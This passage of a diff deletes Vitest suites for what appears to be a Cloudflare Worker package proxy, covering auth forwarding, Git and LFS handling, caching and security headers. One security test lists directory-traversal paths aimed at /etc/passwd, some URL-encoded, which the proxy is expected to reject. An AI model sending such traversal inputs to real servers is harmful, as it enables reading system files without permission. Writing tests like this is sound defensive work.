bench('conda platform processing', async () => {
|
||||
await SELF.fetch('https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda');
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -1,134 +0,0 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import worker from '../../src/index.js';
|
||||
|
||||
/** @type {ExecutionContext} */
|
||||
const executionContext = {
|
||||
waitUntil() {},
|
||||
passThroughOnException() {}
|
||||
};
|
||||
|
||||
describe('Authentication Header Forwarding', () => {
|
||||
/** @type {{ match: ReturnType<typeof vi.fn>, put: ReturnType<typeof vi.fn> }} */
|
||||
let cacheDefault;
|
||||
|
||||
beforeEach(() => {
|
||||
cacheDefault = {
|
||||
match: vi.fn(async () => null),
|
||||
put: vi.fn(async () => undefined)
|
||||
};
|
||||
|
||||
vi.stubGlobal('caches', { default: cacheDefault });
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
it('forwards Authorization for authenticated file requests and disables caching', async () => {
|
||||
const authToken = 'Bearer ghp_test_token_12345';
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response(null, {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/gh/test/private-repo/README.md', {
|
||||
method: 'HEAD',
|
||||
headers: {
|
||||
Authorization: authToken
|
||||
}
|
||||
}),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken);
|
||||
expect(cacheDefault.match).not.toHaveBeenCalled();
|
||||
expect(cacheDefault.put).not.toHaveBeenCalled();
|
||||
expect(response.headers.get('Cache-Control')).toBe('private, no-store');
|
||||
});
|
||||
|
||||
it('forwards Authorization for Hugging Face API passthrough requests', async () => {
|
||||
const authToken = 'Bearer hf_test_token_12345';
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('{}', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/hf/api/models/test-private-model', {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
Authorization: authToken
|
||||
}
|
||||
}),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken);
|
||||
expect(cacheDefault.match).not.toHaveBeenCalled();
|
||||
expect(cacheDefault.put).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('forwards Authorization for authenticated PyPI index requests', async () => {
|
||||
const authToken = 'Basic dGVzdDp0ZXN0MTIzNDU=';
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response(null, {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/html; charset=utf-8' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/pypi/simple/private-package/', {
|
||||
method: 'HEAD',
|
||||
headers: {
|
||||
Authorization: authToken
|
||||
}
|
||||
}),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken);
|
||||
expect(cacheDefault.match).not.toHaveBeenCalled();
|
||||
expect(cacheDefault.put).not.toHaveBeenCalled();
|
||||
expect(response.headers.get('Cache-Control')).toBe('private, no-store');
|
||||
});
|
||||
|
||||
it('forwards Authorization for gated Hugging Face model downloads', async () => {
|
||||
const authToken = 'Bearer hf_authenticated_token';
|
||||
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response(null, {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
);
|
||||
|
||||
const response = await worker.fetch(
|
||||
new Request('https://example.com/hf/meta-llama/Llama-2-7b/resolve/main/config.json', {
|
||||
headers: {
|
||||
Authorization: authToken
|
||||
}
|
||||
}),
|
||||
{},
|
||||
executionContext
|
||||
);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken);
|
||||
expect(cacheDefault.match).not.toHaveBeenCalled();
|
||||
expect(cacheDefault.put).not.toHaveBeenCalled();
|
||||
expect(response.headers.get('Cache-Control')).toBe('private, no-store');
|
||||
});
|
||||
});
|
||||
@@ -1,95 +0,0 @@
|
||||
import { SELF } from 'cloudflare:test';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
describe('Git LFS Protocol Integration', () => {
|
||||
it('should handle LFS info/lfs requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/microsoft/vscode.git/info/lfs';
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
'User-Agent': 'git-lfs/3.0.0 (GitHub; darwin amd64; go 1.17.2)'
|
||||
}
|
||||
});
|
||||
|
||||
expect([200, 301, 302, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should handle LFS batch API requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/microsoft/vscode.git/objects/batch';
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/vnd.git-lfs+json',
|
||||
Accept: 'application/vnd.git-lfs+json',
|
||||
'User-Agent': 'git-lfs/3.0.0'
|
||||
},
|
||||
body: JSON.stringify({
|
||||
operation: 'download',
|
||||
objects: [
|
||||
{
|
||||
oid: 'a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd',
|
||||
size: 1024
|
||||
}
|
||||
]
|
||||
})
|
||||
});
|
||||
|
||||
expect([200, 301, 302, 400, 403, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should handle LFS object download requests', async () => {
|
||||
const testUrl =
|
||||
'https://example.com/gh/microsoft/vscode.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd';
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
'User-Agent': 'git-lfs/3.0.0',
|
||||
Accept: 'application/octet-stream'
|
||||
}
|
||||
});
|
||||
|
||||
expect([200, 301, 302, 403, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should preserve LFS-specific headers', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo.git/objects/batch';
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'User-Agent': 'git-lfs/3.0.0',
|
||||
Accept: 'application/vnd.git-lfs+json',
|
||||
'Content-Type': 'application/vnd.git-lfs+json'
|
||||
},
|
||||
body: '{}'
|
||||
});
|
||||
|
||||
// Should not reject LFS-specific headers
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
|
||||
it('should skip caching for LFS requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo.git/info/lfs';
|
||||
|
||||
// First request
|
||||
const response1 = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
'User-Agent': 'git-lfs/3.0.0'
|
||||
}
|
||||
});
|
||||
|
||||
// Second request - should not be cached
|
||||
const response2 = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
'User-Agent': 'git-lfs/3.0.0'
|
||||
}
|
||||
});
|
||||
|
||||
// Both requests should go to origin (no cache hit)
|
||||
const metrics1 = response1.headers.get('X-Performance-Metrics');
|
||||
const metrics2 = response2.headers.get('X-Performance-Metrics');
|
||||
|
||||
// Verify that neither indicates a cache hit
|
||||
if (metrics1 && metrics2) {
|
||||
expect(metrics1).not.toContain('cache_hit');
|
||||
expect(metrics2).not.toContain('cache_hit');
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -1,42 +0,0 @@
|
||||
import { SELF } from 'cloudflare:test';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
describe('Git Protocol Integration', () => {
|
||||
it('should handle Git info/refs requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/microsoft/vscode.git/info/refs?service=git-upload-pack';
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
'User-Agent': 'git/2.34.1'
|
||||
}
|
||||
});
|
||||
|
||||
expect([200, 301, 302, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should handle Git upload-pack requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/microsoft/vscode.git/git-upload-pack';
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/x-git-upload-pack-request',
|
||||
'User-Agent': 'git/2.34.1'
|
||||
},
|
||||
body: '0000' // Minimal Git protocol data
|
||||
});
|
||||
|
||||
expect([200, 301, 302, 400, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
it('should preserve Git-specific headers', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo.git/info/refs';
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
'User-Agent': 'git/2.34.1',
|
||||
'Git-Protocol': 'version=2'
|
||||
}
|
||||
});
|
||||
|
||||
// Should not reject Git-specific headers
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
});
|
||||
@@ -1,240 +0,0 @@
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
// Mock PerformanceMonitor class for testing
|
||||
class MockPerformanceMonitor {
|
||||
constructor() {
|
||||
this.startTime = Date.now();
|
||||
this.marks = new Map();
|
||||
}
|
||||
|
||||
/**
|
||||
* Mark a performance measurement
|
||||
* @param {string} name - Name of the mark
|
||||
*/
|
||||
mark(name) {
|
||||
if (this.marks.has(name)) {
|
||||
console.warn(`Mark with name ${name} already exists.`);
|
||||
}
|
||||
this.marks.set(name, Date.now() - this.startTime);
|
||||
}
|
||||
|
||||
getMetrics() {
|
||||
return Object.fromEntries(this.marks.entries());
|
||||
}
|
||||
}
|
||||
|
||||
describe('Performance Monitoring', () => {
|
||||
/** @type {MockPerformanceMonitor} */
|
||||
let monitor;
|
||||
|
||||
beforeEach(() => {
|
||||
monitor = new MockPerformanceMonitor();
|
||||
});
|
||||
|
||||
describe('PerformanceMonitor Class', () => {
|
||||
it('should initialize with start time', () => {
|
||||
expect(monitor.startTime).toBeDefined();
|
||||
expect(typeof monitor.startTime).toBe('number');
|
||||
});
|
||||
|
||||
it('should create timing marks', () => {
|
||||
monitor.mark('test-mark');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
expect(metrics).toHaveProperty('test-mark');
|
||||
expect(typeof metrics['test-mark']).toBe('number');
|
||||
});
|
||||
|
||||
it('should handle multiple marks', () => {
|
||||
monitor.mark('mark1');
|
||||
monitor.mark('mark2');
|
||||
monitor.mark('mark3');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
expect(Object.keys(metrics)).toHaveLength(3);
|
||||
expect(metrics).toHaveProperty('mark1');
|
||||
expect(metrics).toHaveProperty('mark2');
|
||||
expect(metrics).toHaveProperty('mark3');
|
||||
});
|
||||
|
||||
it('should warn on duplicate mark names', () => {
|
||||
// Mock console.warn for this test
|
||||
const originalWarn = console.warn;
|
||||
const mockWarn = vi.fn();
|
||||
console.warn = mockWarn;
|
||||
|
||||
monitor.mark('duplicate');
|
||||
monitor.mark('duplicate');
|
||||
|
||||
expect(mockWarn).toHaveBeenCalledWith('Mark with name duplicate already exists.');
|
||||
|
||||
// Restore original console.warn
|
||||
console.warn = originalWarn;
|
||||
});
|
||||
|
||||
it('should return metrics as plain object', () => {
|
||||
monitor.mark('test');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
expect(metrics).toBeTypeOf('object');
|
||||
expect(Array.isArray(metrics)).toBe(false);
|
||||
});
|
||||
|
||||
it('should track elapsed time correctly', async () => {
|
||||
monitor.mark('start');
|
||||
|
||||
// Wait a small amount of time
|
||||
await new Promise(resolve => setTimeout(resolve, 10));
|
||||
|
||||
monitor.mark('end');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
expect(metrics.end).toBeGreaterThan(metrics.start);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Performance Metrics Validation', () => {
|
||||
it('should produce serializable metrics', () => {
|
||||
monitor.mark('request-start');
|
||||
monitor.mark('proxy-start');
|
||||
monitor.mark('proxy-end');
|
||||
monitor.mark('request-end');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
|
||||
expect(() => JSON.stringify(metrics)).not.toThrow();
|
||||
});
|
||||
|
||||
it('should have reasonable timing values', () => {
|
||||
monitor.mark('test-mark');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
const timing = metrics['test-mark'];
|
||||
|
||||
// Should be a positive number and reasonable (less than 1 second for this test)
|
||||
expect(timing).toBeGreaterThanOrEqual(0);
|
||||
expect(timing).toBeLessThan(1000);
|
||||
});
|
||||
|
||||
it('should maintain chronological order', async () => {
|
||||
monitor.mark('first');
|
||||
await new Promise(resolve => setTimeout(resolve, 5));
|
||||
monitor.mark('second');
|
||||
await new Promise(resolve => setTimeout(resolve, 5));
|
||||
monitor.mark('third');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
|
||||
expect(metrics.first).toBeLessThan(metrics.second);
|
||||
expect(metrics.second).toBeLessThan(metrics.third);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Common Performance Scenarios', () => {
|
||||
it('should track request lifecycle', () => {
|
||||
// Simulate typical request flow
|
||||
monitor.mark('request-received');
|
||||
monitor.mark('validation-complete');
|
||||
monitor.mark('proxy-start');
|
||||
monitor.mark('proxy-response');
|
||||
monitor.mark('response-sent');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
|
||||
expect(metrics).toHaveProperty('request-received');
|
||||
expect(metrics).toHaveProperty('validation-complete');
|
||||
expect(metrics).toHaveProperty('proxy-start');
|
||||
expect(metrics).toHaveProperty('proxy-response');
|
||||
expect(metrics).toHaveProperty('response-sent');
|
||||
});
|
||||
|
||||
it('should track cache operations', () => {
|
||||
monitor.mark('cache-check-start');
|
||||
monitor.mark('cache-miss');
|
||||
monitor.mark('upstream-request');
|
||||
monitor.mark('cache-store');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
|
||||
expect(metrics).toHaveProperty('cache-check-start');
|
||||
expect(metrics).toHaveProperty('cache-miss');
|
||||
expect(metrics).toHaveProperty('upstream-request');
|
||||
expect(metrics).toHaveProperty('cache-store');
|
||||
});
|
||||
|
||||
it('should track error scenarios', () => {
|
||||
monitor.mark('request-start');
|
||||
monitor.mark('error-occurred');
|
||||
monitor.mark('error-handled');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
|
||||
expect(metrics).toHaveProperty('request-start');
|
||||
expect(metrics).toHaveProperty('error-occurred');
|
||||
expect(metrics).toHaveProperty('error-handled');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Performance Thresholds', () => {
|
||||
it('should identify slow operations', () => {
|
||||
monitor.mark('operation-start');
|
||||
|
||||
// Simulate slow operation
|
||||
const slowTiming = 5000; // 5 seconds
|
||||
monitor.marks.set('operation-end', slowTiming);
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
const operationTime = metrics['operation-end'] - (metrics['operation-start'] || 0);
|
||||
|
||||
// Should identify as slow (> 1 second)
|
||||
expect(operationTime).toBeGreaterThan(1000);
|
||||
});
|
||||
|
||||
it('should identify fast operations', () => {
|
||||
monitor.mark('fast-operation');
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
const timing = metrics['fast-operation'];
|
||||
|
||||
// Should be fast (< 100ms for this test)
|
||||
expect(timing).toBeLessThan(100);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Memory and Resource Usage', () => {
|
||||
it('should not leak memory with many marks', () => {
|
||||
const initialSize = monitor.marks.size;
|
||||
|
||||
// Add many marks
|
||||
for (let i = 0; i < 1000; i++) {
|
||||
monitor.mark(`mark-${i}`);
|
||||
}
|
||||
|
||||
expect(monitor.marks.size).toBe(initialSize + 1000);
|
||||
|
||||
// Clear marks (if such method existed)
|
||||
monitor.marks.clear();
|
||||
expect(monitor.marks.size).toBe(0);
|
||||
});
|
||||
|
||||
it('should handle concurrent mark operations', () => {
|
||||
const promises = [];
|
||||
|
||||
for (let i = 0; i < 10; i++) {
|
||||
promises.push(
|
||||
new Promise((/** @type {(value?: unknown) => void} */ resolve) => {
|
||||
setTimeout(() => {
|
||||
monitor.mark(`concurrent-${i}`);
|
||||
resolve();
|
||||
}, Math.random() * 10);
|
||||
})
|
||||
);
|
||||
}
|
||||
|
||||
return Promise.all(promises).then(() => {
|
||||
const metrics = monitor.getMetrics();
|
||||
expect(Object.keys(metrics)).toHaveLength(10);
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -1,238 +0,0 @@
|
||||
import { SELF } from 'cloudflare:test';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
/**
|
||||
* Tests for Range Request Caching Strategy
|
||||
*
|
||||
* This test suite validates the new caching strategy that:
|
||||
* 1. Only caches 200 responses (not 206)
|
||||
* 2. Handles Range requests by caching full content first
|
||||
* 3. Lets Cloudflare edge serve 206 responses from cached 200 content
|
||||
* 4. Avoids compression for media files to ensure proper Range support
|
||||
*/
|
||||
|
||||
describe('Range Request Caching Strategy', () => {
|
||||
describe('Cache Behavior for Range Requests', () => {
|
||||
it('should not attempt to cache 206 responses', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/sample.pdf';
|
||||
|
||||
// Make a range request that might return 206
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Range: 'bytes=0-1023'
|
||||
}
|
||||
});
|
||||
|
||||
// The response should either be 200 (full content) or 206 (partial)
|
||||
// But we should never get a cache error from trying to cache 206
|
||||
expect([200, 206, 404]).toContain(response.status);
|
||||
|
||||
// Check performance metrics for any cache-related errors
|
||||
const metrics = response.headers.get('X-Performance-Metrics');
|
||||
if (metrics) {
|
||||
const parsedMetrics = JSON.parse(metrics);
|
||||
|
||||
// Should not contain any cache put errors
|
||||
const errorKeys = Object.keys(parsedMetrics).filter(
|
||||
key => (key.includes('error') || key.includes('fail')) && key !== 'client_error'
|
||||
);
|
||||
expect(errorKeys).toHaveLength(0);
|
||||
}
|
||||
});
|
||||
|
||||
it('should cache full content when receiving 200 response', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/document.pdf';
|
||||
|
||||
// First request - should cache the full content
|
||||
const firstResponse = await SELF.fetch(testUrl);
|
||||
|
||||
if (firstResponse.status === 200) {
|
||||
// Verify caching headers are set correctly
|
||||
expect(firstResponse.headers.get('Cache-Control')).toContain('public');
|
||||
expect(firstResponse.headers.get('Accept-Ranges')).toBe('bytes');
|
||||
|
||||
// Second request should hit cache
|
||||
const secondResponse = await SELF.fetch(testUrl);
|
||||
expect(secondResponse.status).toBe(200);
|
||||
|
||||
// Performance metrics should show cache hit
|
||||
const metrics = secondResponse.headers.get('X-Performance-Metrics');
|
||||
if (metrics) {
|
||||
const parsedMetrics = JSON.parse(metrics);
|
||||
expect(parsedMetrics).toHaveProperty('cache_hit');
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('should handle range requests after caching full content', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/large-file.bin';
|
||||
|
||||
// First, cache the full content
|
||||
const fullResponse = await SELF.fetch(testUrl);
|
||||
|
||||
if (fullResponse.status === 200) {
|
||||
// Now make a range request - should leverage cached content
|
||||
const rangeResponse = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Range: 'bytes=100-199'
|
||||
}
|
||||
});
|
||||
|
||||
// Should either return the requested range or full content
|
||||
expect([200, 206]).toContain(rangeResponse.status);
|
||||
|
||||
if (rangeResponse.status === 206) {
|
||||
expect(rangeResponse.headers.get('Content-Range')).toBeTruthy();
|
||||
expect(rangeResponse.headers.get('Content-Length')).toBe('100');
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Media File Handling', () => {
|
||||
it('should avoid compression for media files', async () => {
|
||||
const mediaTestCases = [
|
||||
{ url: 'https://example.com/gh/test/repo/video.mp4', type: 'video' },
|
||||
{ url: 'https://example.com/gh/test/repo/audio.mp3', type: 'audio' },
|
||||
{ url: 'https://example.com/gh/test/repo/image.png', type: 'image' },
|
||||
{ url: 'https://example.com/gh/test/repo/archive.zip', type: 'archive' }
|
||||
];
|
||||
|
||||
for (const testCase of mediaTestCases) {
|
||||
const response = await SELF.fetch(testCase.url, { method: 'HEAD' });
|
||||
|
||||
if (response.status === 200) {
|
||||
// Media files should have proper range support headers
|
||||
expect(response.headers.get('Accept-Ranges')).toBe('bytes');
|
||||
|
||||
// Should not be compressed to ensure proper byte-range handling
|
||||
const contentEncoding = response.headers.get('Content-Encoding');
|
||||
if (contentEncoding) {
|
||||
expect(['identity', null]).toContain(contentEncoding);
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('should send identity encoding for range requests on media files', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/large-video.mp4';
|
||||
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Range: 'bytes=0-1023'
|
||||
}
|
||||
});
|
||||
|
||||
// For media files with range requests, should not use compression
|
||||
if ([200, 206].includes(response.status)) {
|
||||
const contentEncoding = response.headers.get('Content-Encoding');
|
||||
if (contentEncoding) {
|
||||
expect(['identity', null]).toContain(contentEncoding);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Cache Key Management', () => {
|
||||
it('should use correct cache keys for range vs full requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/test-document.pdf';
|
||||
|
||||
// Make a range request first
|
||||
const rangeResponse1 = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Range: 'bytes=0-512'
|
||||
}
|
||||
});
|
||||
|
||||
// Make a full request
|
||||
const fullResponse = await SELF.fetch(testUrl);
|
||||
|
||||
// Make another range request
|
||||
const rangeResponse2 = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Range: 'bytes=512-1023'
|
||||
}
|
||||
});
|
||||
|
||||
// All requests should succeed
|
||||
[rangeResponse1, fullResponse, rangeResponse2].forEach(response => {
|
||||
expect([200, 206, 404]).toContain(response.status);
|
||||
});
|
||||
|
||||
// Full response should have caching headers
|
||||
if (fullResponse.status === 200) {
|
||||
expect(fullResponse.headers.get('Cache-Control')).toContain('public');
|
||||
expect(fullResponse.headers.get('Accept-Ranges')).toBe('bytes');
|
||||
}
|
||||
});
|
||||
|
||||
it('should handle Content-Length header properly', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/sized-file.bin';
|
||||
|
||||
const response = await SELF.fetch(testUrl);
|
||||
|
||||
if (response.status === 200) {
|
||||
// Should have Content-Length for proper range support
|
||||
const contentLength = response.headers.get('Content-Length');
|
||||
if (contentLength) {
|
||||
expect(parseInt(contentLength, 10)).toBeGreaterThan(0);
|
||||
}
|
||||
|
||||
// Should have Accept-Ranges header
|
||||
expect(response.headers.get('Accept-Ranges')).toBe('bytes');
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Performance Metrics', () => {
|
||||
it('should track cache performance for range requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/metrics-test.dat';
|
||||
|
||||
// First request
|
||||
const response1 = await SELF.fetch(testUrl);
|
||||
const metrics1 = response1.headers.get('X-Performance-Metrics');
|
||||
|
||||
if (response1.status === 200 && metrics1) {
|
||||
const parsed1 = JSON.parse(metrics1);
|
||||
expect(parsed1).toHaveProperty('start');
|
||||
expect(parsed1).toHaveProperty('complete');
|
||||
}
|
||||
|
||||
// Second request (should hit cache)
|
||||
const response2 = await SELF.fetch(testUrl);
|
||||
const metrics2 = response2.headers.get('X-Performance-Metrics');
|
||||
|
||||
if (response2.status === 200 && metrics2) {
|
||||
const parsed2 = JSON.parse(metrics2);
|
||||
expect(parsed2).toHaveProperty('cache_hit');
|
||||
}
|
||||
});
|
||||
|
||||
it('should track range-specific cache behavior', async () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/range-metrics.bin';
|
||||
|
||||
// Cache full content first
|
||||
await SELF.fetch(testUrl);
|
||||
|
||||
// Now make a range request
|
||||
const rangeResponse = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
Range: 'bytes=0-1023'
|
||||
}
|
||||
});
|
||||
|
||||
const metrics = rangeResponse.headers.get('X-Performance-Metrics');
|
||||
if (metrics && [200, 206].includes(rangeResponse.status)) {
|
||||
const parsed = JSON.parse(metrics);
|
||||
|
||||
// Should have timing information
|
||||
expect(parsed).toHaveProperty('start');
|
||||
|
||||
// May have cache-related metrics
|
||||
const cacheKeys = Object.keys(parsed).filter(key => key.includes('cache'));
|
||||
// At least one cache-related metric should be present
|
||||
expect(cacheKeys.length).toBeGreaterThanOrEqual(0);
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -1,288 +0,0 @@
|
||||
import { SELF } from 'cloudflare:test';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
describe('Security Features', () => {
|
||||
describe('Security Headers', () => {
|
||||
it('should include Strict-Transport-Security header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
||||
|
||||
const hsts = response.headers.get('Strict-Transport-Security');
|
||||
expect(hsts).toBeTruthy();
|
||||
expect(hsts).toContain('max-age=');
|
||||
expect(hsts).toContain('includeSubDomains');
|
||||
expect(hsts).toContain('preload');
|
||||
});
|
||||
|
||||
it('should include X-Frame-Options header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
||||
|
||||
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
|
||||
});
|
||||
|
||||
it('should include X-XSS-Protection header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
||||
|
||||
expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block');
|
||||
});
|
||||
|
||||
it('should include Content-Security-Policy header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
||||
|
||||
const csp = response.headers.get('Content-Security-Policy');
|
||||
expect(csp).toBeTruthy();
|
||||
expect(csp).toContain("default-src 'none'");
|
||||
});
|
||||
|
||||
it('should include Referrer-Policy header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
||||
|
||||
expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');
|
||||
});
|
||||
|
||||
it('should include Permissions-Policy header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
||||
|
||||
const permissionsPolicy = response.headers.get('Permissions-Policy');
|
||||
expect(permissionsPolicy).toBeTruthy();
|
||||
expect(permissionsPolicy).toContain('interest-cohort=()');
|
||||
});
|
||||
});
|
||||
|
||||
describe('HTTP Method Restrictions', () => {
|
||||
it('should reject PATCH method', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||
method: 'PATCH'
|
||||
});
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
});
|
||||
|
||||
it('should reject PUT method for non-Git requests', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'PUT'
|
||||
});
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
});
|
||||
|
||||
it('should reject DELETE method', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||
method: 'DELETE'
|
||||
});
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
});
|
||||
|
||||
it('should reject OPTIONS method', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||
method: 'OPTIONS'
|
||||
});
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Path Validation', () => {
|
||||
it('should reject paths with directory traversal attempts', async () => {
|
||||
const maliciousPaths = [
|
||||
'/gh/../../../etc/passwd',
|
||||
'/gh/user/repo/../../../sensitive',
|
||||
'/gh/user/repo/..%2F..%2F..%2Fetc%2Fpasswd',
|
||||
'/gh/user/repo/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
|
||||
];
|
||||
|
||||
for (const path of maliciousPaths) {
|
||||
const response = await SELF.fetch(`https://example.com${path}`, {
|
||||
method: 'HEAD',
|
||||
redirect: 'manual' // Don't follow redirects
|
||||
});
|
||||
// Some runtimes normalize plain `..` segments before the Worker sees them.
|
||||
// Encoded traversal should still be rejected.
|
||||
if (/%[0-9a-fA-F]{2}/.test(path)) {
|
||||
expect(response.status).toBe(400);
|
||||
} else {
|
||||
expect(response.status).not.toBe(500);
|
||||
}
|
||||
}
|
||||
}, 45000);
|
||||
|
||||
it('should reject extremely long paths', async () => {
|
||||
const longPath = `/gh/${'a'.repeat(3000)}`;
|
||||
const response = await SELF.fetch(`https://example.com${longPath}`);
|
||||
|
||||
expect(response.status).toBe(414);
|
||||
});
|
||||
|
||||
it('should handle URL encoding safely', async () => {
|
||||
const encodedPaths = [
|
||||
'/gh/user/repo%20with%20spaces',
|
||||
'/gh/user/repo%2Ffile.txt',
|
||||
'/gh/user%40domain/repo'
|
||||
];
|
||||
|
||||
for (const path of encodedPaths) {
|
||||
